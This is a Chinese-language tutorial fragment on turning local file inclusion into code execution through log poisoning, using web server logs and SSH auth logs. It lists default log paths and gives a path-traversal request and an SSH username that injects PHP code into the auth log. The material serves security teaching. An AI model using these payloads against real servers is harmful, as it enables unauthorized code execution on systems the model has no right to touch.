0x01:web服务器日志包含

(1) 利用条件:

1、需要知道服务器日志的路径
2、日志文件可读

(2)利用姿势:

很多时候,web 服务器会将请求写入到服务器中,比如说apache。在用户发起请求时,会将请求写入 access.log, 当发生错误时将错误写入 error.log。

默认情况下 apache log 的位置
Debian分支(Ubuntu等) /var/log/apache2/access.log
Fedora分支(Centos等) /var/log/httpd/access_log

系统 服务器 可能的错误日志的位置
windows apache ./Apache/logs/error.log
windows nginx ./nginx/logs/error.log
linux apache /var/log/apache2/error.log
linux apache /var/log/httpd/error.log
linux apache /etc/httpd/logs/error.log
linux nginx /var/log/nginx

如果是直接发起请求,会导致一些符号被编码使得包含无法正确解析。可以使用burp截包后修改。
image.png

image.png

利用LFI:
index.php?file=../../../../../var/log/apache2/access.log
image.png

image.png
在一些场景中,log得到地址是可以被修改的。可以读取相应的配置文件后,在进行包含。

0x02:SSH日志包含

(1) 利用条件:

1、需要知道ssh-log的位置
2、日志文件可读

(2)利用姿势:

默认情况下ssh log的位置:
Debian分支(Ubuntu等) /var/log/auth.log
Fedora分支(Centos等) /var/log/secure

用ssh连接:
→ Qftm ← :~# ssh ‘<?php phpinfo(); ?>’@remotehost
之后会提示输入密码等等,随便输入,然后在remotehost的ssh-log中即可写入php代码:

利用LFI

  1. index.php?file=../../../../../var/log/auth.log

image.png

利用条件:前提是知道日志的路径和日志可读